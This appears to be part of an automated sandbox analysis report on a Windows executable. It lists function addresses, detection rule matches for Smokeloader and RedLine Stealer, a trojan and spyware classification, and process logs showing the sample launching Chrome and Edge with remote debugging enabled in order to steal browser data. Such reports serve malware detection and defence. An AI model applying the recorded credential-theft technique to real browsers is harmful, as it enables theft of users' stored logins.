Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA86C80	0_2_6CA86C80
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA7D4E0	0_2_6CA7D4E0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB6CF0	0_2_6CAB6CF0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA864C0	0_2_6CA864C0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA9D4D0	0_2_6CA9D4D0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAE542B	0_2_6CAE542B
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAEAC00	0_2_6CAEAC00
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB5C10	0_2_6CAB5C10
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAC2C10	0_2_6CAC2C10
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA85440	0_2_6CA85440
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAE545C	0_2_6CAE545C
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAD85F0	0_2_6CAD85F0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB0DD0	0_2_6CAB0DD0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA8FD00	0_2_6CA8FD00
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAA0512	0_2_6CAA0512
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA9ED10	0_2_6CA9ED10
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAD4EA0	0_2_6CAD4EA0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CADE680	0_2_6CADE680
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA95E90	0_2_6CA95E90
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAE76E3	0_2_6CAE76E3
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA7BEF0	0_2_6CA7BEF0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA8FEF0	0_2_6CA8FEF0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAD9E30	0_2_6CAD9E30
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAC5600	0_2_6CAC5600
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB7E10	0_2_6CAB7E10
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAE6E63	0_2_6CAE6E63
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA7C670	0_2_6CA7C670
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAC2E4E	0_2_6CAC2E4E
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA94640	0_2_6CA94640
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA99E50	0_2_6CA99E50
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB3E50	0_2_6CAB3E50
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAC77A0	0_2_6CAC77A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA7DFE0	0_2_6CA7DFE0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAA6FF0	0_2_6CAA6FF0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA89F00	0_2_6CA89F00
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB7710	0_2_6CAB7710
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAA60A0	0_2_6CAA60A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA9C0E0	0_2_6CA9C0E0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB58E0	0_2_6CAB58E0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAE50C7	0_2_6CAE50C7
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CABB820	0_2_6CABB820
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAC4820	0_2_6CAC4820
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA87810	0_2_6CA87810
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CABF070	0_2_6CABF070
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA98850	0_2_6CA98850
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA9D850	0_2_6CA9D850
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA7C9A0	0_2_6CA7C9A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAAD9B0	0_2_6CAAD9B0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB5190	0_2_6CAB5190
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAD2990	0_2_6CAD2990
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA8D960	0_2_6CA8D960
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CACB970	0_2_6CACB970
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAEB170	0_2_6CAEB170
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA9A940	0_2_6CA9A940
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA722A0	0_2_6CA722A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAA4AA0	0_2_6CAA4AA0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA8CAB0	0_2_6CA8CAB0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAE2AB0	0_2_6CAE2AB0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAEBA90	0_2_6CAEBA90
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA91AF0	0_2_6CA91AF0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CABE2F0	0_2_6CABE2F0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB8AC0	0_2_6CAB8AC0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAB9A60	0_2_6CAB9A60
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA7F380	0_2_6CA7F380
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CAE53C8	0_2_6CAE53C8
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CABD320	0_2_6CABD320
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA8C370	0_2_6CA8C370
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CA75340	0_2_6CA75340
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB7ECD0	0_2_6CB7ECD0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB1ECC0	0_2_6CB1ECC0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBFAC30	0_2_6CBFAC30
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBE6C00	0_2_6CBE6C00
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB2AC60	0_2_6CB2AC60
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB24DB0	0_2_6CB24DB0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CCACDC0	0_2_6CCACDC0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBB6D90	0_2_6CBB6D90
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC4AD50	0_2_6CC4AD50
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBEED70	0_2_6CBEED70
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CCA8D20	0_2_6CCA8D20
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBA6E90	0_2_6CBA6E90
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB2AEC0	0_2_6CB2AEC0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBC0EC0	0_2_6CBC0EC0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBBEE70	0_2_6CBBEE70
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC00E20	0_2_6CC00E20
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB2EFB0	0_2_6CB2EFB0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBFEFF0	0_2_6CBFEFF0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB20FE0	0_2_6CB20FE0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC68FB0	0_2_6CC68FB0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB26F10	0_2_6CB26F10
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBE2F70	0_2_6CBE2F70
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC60F20	0_2_6CC60F20
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB8EF40	0_2_6CB8EF40
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC268E0	0_2_6CC268E0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB70820	0_2_6CB70820
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBAA820	0_2_6CBAA820
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBF4840	0_2_6CBF4840
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBE09B0	0_2_6CBE09B0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBB09A0	0_2_6CBB09A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBDA9A0	0_2_6CBDA9A0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC3C9E0	0_2_6CC3C9E0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB549F0	0_2_6CB549F0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB76900	0_2_6CB76900
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB58960	0_2_6CB58960
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB9EA80	0_2_6CB9EA80
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBD8A30	0_2_6CBD8A30
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBCEA00	0_2_6CBCEA00
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB9CA70	0_2_6CB9CA70
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBC0BA0	0_2_6CBC0BA0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC26BE0	0_2_6CC26BE0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CC4A480	0_2_6CC4A480
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB664D0	0_2_6CB664D0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBBA4D0	0_2_6CBBA4D0
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CBAA430	0_2_6CBAA430
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: 0_2_6CB84420	0_2_6CB84420

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: String function: 6CAACBE8 appears 134 times
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: String function: 6CAB94D0 appears 90 times
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: String function: 6CCA09D0 appears 121 times
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Code function: String function: 6CCADAE0 appears 31 times

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 2340

Source: vMRlWtVCEN.exe, 00000000.00000002.2771463135.000000006CB02000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs vMRlWtVCEN.exe
Source: vMRlWtVCEN.exe, 00000000.00000002.2771789643.000000006CCF5000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs vMRlWtVCEN.exe

Source: vMRlWtVCEN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2745485336.0000000002E69000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: vMRlWtVCEN.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@68/296@26/26

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_6CAD7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAD7030

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00418810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00418810

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Code function: 0_2_00413970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413970

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\UUUNW354.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7160

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\0f801023-8326-45f3-aa56-ba3115522fdb.tmp

Jump to behavior

Source: vMRlWtVCEN.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\vMRlWtVCEN.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: vMRlWtVCEN.exe, vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771669388.000000006CCAF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: vMRlWtVCEN.exe, 00000000.00000003.2448077189.000000002342B000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000003.2547166499.000000002341D000.00000004.00000020.00020000.00000000.sdmp, HDGHJEBFBFHIIECAECGH.0.dr, EBAKKFHJDBKKEBFHDAAE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: vMRlWtVCEN.exe, 00000000.00000002.2759028519.000000001D3A6000.00000004.00000020.00020000.00000000.sdmp, vMRlWtVCEN.exe, 00000000.00000002.2771143150.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: vMRlWtVCEN.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\vMRlWtVCEN.exe "C:\Users\user\Desktop\vMRlWtVCEN.exe"
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2044,i,2454326422221536204,14850792707381476085,262144 /prefetch:8
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2708 --field-trial-handle=2508,i,6486104539122156540,8403373677948389866,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7124 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7272 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 2340
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6592 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\vMRlWtVCEN.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2044,i,2454326422221536204,14850792707381476085,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
